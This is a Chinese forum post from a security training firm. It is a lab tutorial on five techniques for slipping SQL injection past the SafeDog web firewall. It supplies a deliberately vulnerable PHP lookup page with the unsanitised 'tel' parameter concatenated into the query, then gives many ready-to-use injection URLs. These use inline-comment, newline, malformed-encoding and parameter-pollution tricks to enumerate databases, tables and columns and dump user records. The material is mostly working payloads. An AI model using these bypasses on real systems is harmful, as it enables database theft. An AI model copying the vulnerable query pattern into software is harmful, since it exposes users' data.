必火安全2020年SQL注入五种方法绕过最新版安全狗-女黑客 - Powered by Discuz! Archiver

nvhack 发表于 2020-3-18 00:32:05

必火安全2020年SQL注入五种方法绕过最新版安全狗

0x01:环境搭建
windows 10 操作系统

1,phpstudy2016
2,安全狗最新版,(切记以管理员身份启动安全狗)
   安全狗配置插件问题请直击:
http://www.nvhack.com/forum.php?mod=viewthread&tid=176
3,php文件一枚,名字 bihuo.php 代码如下:
<!DOCTYPE html>
<html>
<head>
<title>必火网络安全培训-带你走进网络安全培训圈</title>
<meta charset="utf-8">
<meta http-equiv="refresh" content="15">
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- 新 Bootstrap4 核心 CSS 文件 -->
<link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/4.3.1/css/bootstrap.min.css">
<!-- jQuery文件。务必在bootstrap.min.js 之前引入 -->
<script src="https://cdn.staticfile.org/jquery/3.2.1/jquery.min.js"></script>
<!-- bootstrap.bundle.min.js 用于弹窗、提示、下拉菜单,包含了 popper.min.js -->
<script src="https://cdn.staticfile.org/popper.js/1.15.0/umd/popper.min.js"></script>
<!-- 最新的 Bootstrap4 核心 JavaScript 文件 -->
<script src="https://cdn.staticfile.org/twitter-bootstrap/4.3.1/js/bootstrap.min.js"></script>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="keywords" content="网络安全培训,渗透测试培训,web安全培训">
<meta name="description" content="黑客网-由北京必火网络安全平台打造,从事网络安全白帽子黑客攻防web安全信息安全渗透测试教学培训,未来岗位有网络安全工程师,渗透测试工程师,安全服务工程师,一应急响应工程师等">
</head>
<body>
<nav class="navbar navbar-expand-md bg-dark navbar-dark fixed-top text-center mb-1">
<a class="navbar-brand" href="/">必火安全签到查询系统</a>
   <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#collapsibleNavbar">
      <span class="navbar-toggler-icon"></span>
   </button>
<div class="collapse navbar-collapse" id="collapsibleNavbar">
    <ul class="navbar-nav">
      <li class="nav-item">
      <!-- <a class="nav-link" href="/">必火安全签到系统</a> -->
      </li>
    </ul>
</div>
</nav>
<?php
$link = mysqli_connect("localhost","root","root","qiandao");
// mysqli_charset_set($link,"utf-8");
mysqli_set_charset($link,"utf-8");
?>
<center>
<h3 style="margin-top: 60px;margin-bottom: 20px;">【必安科技-做最专业的网络安全高端人才培训】</h3>
<form>
    输入手机号查询: <input type="text" name="tel">
    <input type="submit" value="查询">
</form>
<br>
<table border="1" width="60%">
<tr><td>序号</td><td>姓名</td><td>状态</td><td>总签到次数</td></tr>
<?php
    if (!empty($_GET['tel'])) {
      $tel = $_GET['tel'];
      // $tel = intval($tel);
      // $tel = str_replace("'", "", $tel);
      $num = 1;
      $sql = "select * from users where tel = '$tel'";
      $result = mysqli_query($link,$sql);
      if (mysqli_num_rows($result)>0) {
      $row = mysqli_fetch_assoc($result);

      echo "<tr><td>$num</td><td>{$row['username']}</td>";
      if ($row['status']==1) {
          echo "<td><span style='color:red'>已签到</span></td>";
      }else{
          echo "<td>王者荣耀征战中</td>";
      }
      echo "<td>{$row['count']}</td></tr>";
      }else{
      echo "【查无此人】";
      }
      mysqli_free_result($result);
      mysqli_close($link);
    }
   ?>
</table>
</center>

<div class="card bg-dark text-white mt-1 text-center" id="lianxi">
<div class="card-body"> 必火网络安全培训 <br>
    <br>
    @2019 版权所 北京必安科技有限公司 www.hacker.wang <a href="http://www.hacker.wang">黑客网</a>
</div>
</div>
</body>
</html>4,数据库配置文件:sql内容如下,请建立数据库后->新建查询执行,别忘记php文件中更改数据库名字
DROP TABLE IF EXISTS `users`;
CREATE TABLE `users` (
`id` int(4) NOT NULL AUTO_INCREMENT,
`username` varchar(100) DEFAULT NULL,
`tel` bigint(11) DEFAULT NULL,
`status` tinyint(1) DEFAULT NULL,
`count` int(11) DEFAULT NULL,
`code` int(10) DEFAULT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=49 DEFAULT CHARSET=utf8;
#
# Data for table "users"
#
/*!40000 ALTER TABLE `users` DISABLE KEYS */;
INSERT INTO `users` VALUES (1,'必火安全',13512341234,1,1,NULL),(2,'渗透测试',18811111111,1,1,3359);
/*!40000 ALTER TABLE `users` ENABLE KEYS */;
0x02:测试网站功能并且确定注入类型
1,输入手机号,查询签到的人,功能正常
https://pic2.zhimg.com/80/v2-da9089839977b7a93a34ba1a8f66f479_720w.jpg


2,输入 1' or 1 and 1 --+ (意思是闭合参数tel的单引号,or 1 and 1 让条件结果为真,无论1是否存在都会返回数据,--+ 闭合后面的其他语句)回显页面正常
https://pic4.zhimg.com/80/v2-0ce15071af90fc137075c593edeb6337_720w.jpg

输入 1' or 1 and 0 --+(页面显示不正常,and 0 生效 确定字符型注入)
https://pic2.zhimg.com/80/v2-a0c8ca4932f0d9088a111f629fbd5cb5_720w.jpg

0x03:第一种绕过方法,启动安全狗,开启所有防护
https://pic2.zhimg.com/80/v2-b800a662625b1477ad9262ee80339a1d_720w.jpg

No.1 内联注释(/*!*/)绕过方法:

[*]/*!select*/:相当于没有注释
[*]/*!12345select*/: 当12345小于当前mysql版本号的时候,注释不生效,当大于版本号的时候注释生效。
[*]/*![]*/: []中括号中的数字若填写则必须是5位
1,执行检测安全狗功能
http://192.168.31.142/safedog/bihuo.php?tel=1' or 1 and 1=1--+https://pic1.zhimg.com/80/v2-3b0b7a83d77577aab68d92fe82c9d8a4_720w.jpg

拦截绕过方法:
http://192.168.31.142/safedog/bihuo.php?tel=1' or -1 and -1=-1--+https://pic1.zhimg.com/80/v2-e99ee04642793c61456a8c3b37b31d60_720w.jpg


2,判断列数
执行语句:
http://192.168.31.142/safedog/bihuo.php?tel=1' or 1 order by 1--+
https://pic1.zhimg.com/80/v2-010c7873e158bdc151836d3c09f67054_720w.jpg

绕过方法:
http://192.168.31.142/safedog/bihuo.php?tel=1' or -1/*!11544order/*!11544by/*!11544*/1--+确定列数位为6

https://pic4.zhimg.com/80/v2-bc6251651f01300f6009bba5976f775f_720w.jpg


3,联合查询判断显示位:union 联合查询说明
union必须由两条或两条以上的select语句组成,语句之间用关键字Union分隔Union中的每个查询必须包含相同的列
执行语句:
http://192.168.31.142/safedog/bihuo.php?tel=1'or -1 union select 1,2,3,4,5,6--+
https://pic1.zhimg.com/80/v2-010c7873e158bdc151836d3c09f67054_720w.jpg

绕过方法:
http://192.168.31.142/safedog/bihuo.php?tel=1' or -1/*!11544union/*!11544select/*!115441,2,3,4,5,6*/--+https://pic2.zhimg.com/80/v2-086fb5d3efea1585a3843c84927d3a11_720w.jpg


去掉or -1 得到显示位(意识是没有or -1 那么联合查询结果为假,将不再返回第一条数据,而是显示union后的结果,也就是123456,从而得到显示位)
https://pic1.zhimg.com/80/v2-009b814f0d687694fab1b49a0b17b004_720w.jpg


4,获取所有数据库名字
http://192.168.31.142/safedog/bihuo.php?tel=1' union select 1,2,3,4,group_concat(schema_name),6 from information_schema.schemata--+group_concat() 这个函数是把多行数据放到一行显示
https://pic3.zhimg.com/80/v2-4ba67732d6d250a33ec5fcecb067c886_720w.jpg


绕过方法:
http://192.168.31.142/safedog/bihuo.php?tel=1' /*!11544union/*!11544select/*!115441,2,3,4,group_concat(schema_name),6*/from information_schema.schemata--+https://pic4.zhimg.com/80/v2-3e0be2d023ea7454314a82cbfb4ac927_720w.jpg


5,获取当前数据库下所有表名
执行语句
http://192.168.31.142/safedog/bihuo.php?tel=1' union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema=database()--+https://pic2.zhimg.com/80/v2-4dc0db2ec0adf46881fa8b6959d80169_720w.jpg


绕过方法:
http://192.168.31.142/safedog/bihuo.php?tel=1' /*!11544union /*!11544select/*!115441,2,3,4,/*!11544group_concat(/*!11544table_name),6/*!11544from/*!11544information_schema.tables/*!11544where/*!11544table_schema=/*!11544database/*!11544()*/--+https://pic1.zhimg.com/80/v2-4f72b3b4c6c61a93b374b4c3e87bb924_720w.jpg


这里有一点比较重要database() 可以变成database/*!11544()*/
6,获取当前用户表users下所有列名
执行语句:
http://192.168.31.142/safedog/bihuo.php?tel=1' union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_schema=database() and table_name='users'--+
https://pic3.zhimg.com/80/v2-52c1b891458d8307e265a109ab29d0d2_720w.jpg


绕过方法:
http://192.168.31.142/safedog/bihuo.php?tel=1'/*!11544union/*!11544select 1,2,3,4, group_concat(column_name),6 from information_schema.columns where table_schema in (database/*!11544()) and table_name in (0x7573657273)*/--+https://pic2.zhimg.com/80/v2-6f31b317b4d668c84b63c59351bf3a19_720w.jpg


7,有表名,有列名,那就可以获取当前表的所有内容
执行语句直接绕过:
http://192.168.31.142/safedog/bihuo.php?tel=1'/*!11544union /*!11544select 1,2,3,4, group_concat(concat_ws(0x23,username,tel)),6 from users*/--+
https://pic3.zhimg.com/80/v2-cd673202717d3dbbcf57ffb0844026b2_720w.jpg


解析:

[*]这里的concat_ws 为mysql中的函数,作用是链接两个字符变量,这里把username和tel拼接在一起,用0x23分割,0x23是"#"的16进制编码。至此绕狗成功!
[*]下面介绍其他方法,直接走倒数第二个步骤获取列名了,因为这一步过了,其他基本上全能过。
[*]
0x04: 第二种绕过方法,内联注释另类思想绕过
传统的方法使用内联注释都是使用 /*!12345select*/ 去注释SQL关键字符来进行绕waf,那么为什么非得注释关键字呢,她是美女么?有我们必火的小女生好看吗?如果不是美女,也没我们的小女生好看,那能不能不注释关键字,注释点别的好不好?
执行语句:
http://192.168.31.142/safedog/bihuo.php?tel=1'union/*!88888www.hacker.wang*/select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_schema=database () and /*!88888www.hacker.wang*/table_name=0x7573657273 --+
https://pic1.zhimg.com/80/v2-5290a441d21de0a92ea03a8b43708a1c_720w.jpg

解析:

[*]图中两处 /*!88888www.hacker.wang*/ 即可绕狗 :88888 肯定大于当前啊版本号,所以注释内容不执行,等于没有加这句话,不影响程序运行。
[*]下面的表名要换成16进制。
[*]注意database()中间有个空格
[*]
0x05:第三种绕过方法,精通mysql语法,自然懂的绕过方法
执行语句绕过:
http://192.168.31.142/safedog/bihuo.php?tel=1' union -- www.hacker.wang%0aselect 1, 2,3,4, group_concat(column_name),6 from information_schema.columns where table_schema=database () and-- www.hacker.wang%0a table_name=0x7573657273--+
https://pic1.zhimg.com/80/v2-759021e710889d6928bef4f57c655994_720w.jpg解析:

[*]--:表示注释,在mysql中真正的注释是"-- ",这里必须有个空格,否则不是注释,%0a是换行的url编码,换号后,表示重新查询,前面的注释对后面的语句将不再影响,这也要注意,
[*]database空格()这里,中间有个空格
0x06:第四种绕过方法,特殊的URL编码绕过安全狗
执行语句绕过:
http://192.168.31.142/safedog/bihuo.php?tel=1' union/*%!a*/select 1,2,3,4,group_concat(column_name),6 from information_schema.columnswhere table_schema=database () and table_name in (0x7573657273) --+

https://pic4.zhimg.com/80/v2-62a655be46c4c21f7b801d9820b17f1b_720w.jpg解析:

[*]此处%!a是一个错误的url编码,但这个编码比较特殊,可以绕狗,其他则不行。
[*]这里的table_name 要 改成table_name in (0x7573657273)这种格式
[*]database() 中间有个空格 database空格()
0x07:第五种绕过方法,url另类传参绕过安全狗
执行语句:
http://192.168.31.142/safedog/bihuo.php?tel=1&bihuo=/*&tel=1'union select 1,2,3,4, group_concat(column_name),6 from information_schema.columns where table_schema=database() and table_name='users' --+*/

https://pic3.zhimg.com/80/v2-c71fe8758a4fd681f24aa4b4e2e6b7fa_720w.jpg


这里红色框处,当url参数出现两个同名参数时,将取最后一个参数的值,所以这里会取后面的tel的值,前面传参/*,后面*/闭合:

绕过分析:安全狗误以为/**/是注释的内容所以全部忽略。


[*]本次教程到此结束,欢迎关注必火安全公众号,公众号:bihuo_cn
[*]微信添加公众号,搜索 必火安全
[*]北京必安科技有限公司,专注网络安全人才培养,需要人才请加微信:nvhack 段老师
[*]
https://pic2.zhimg.com/80/v2-e87d63e54738cbbefde9f5b059a7c2c9_720w.jpg

页: [1]
查看完整版本: 必火安全2020年SQL注入五种方法绕过最新版安全狗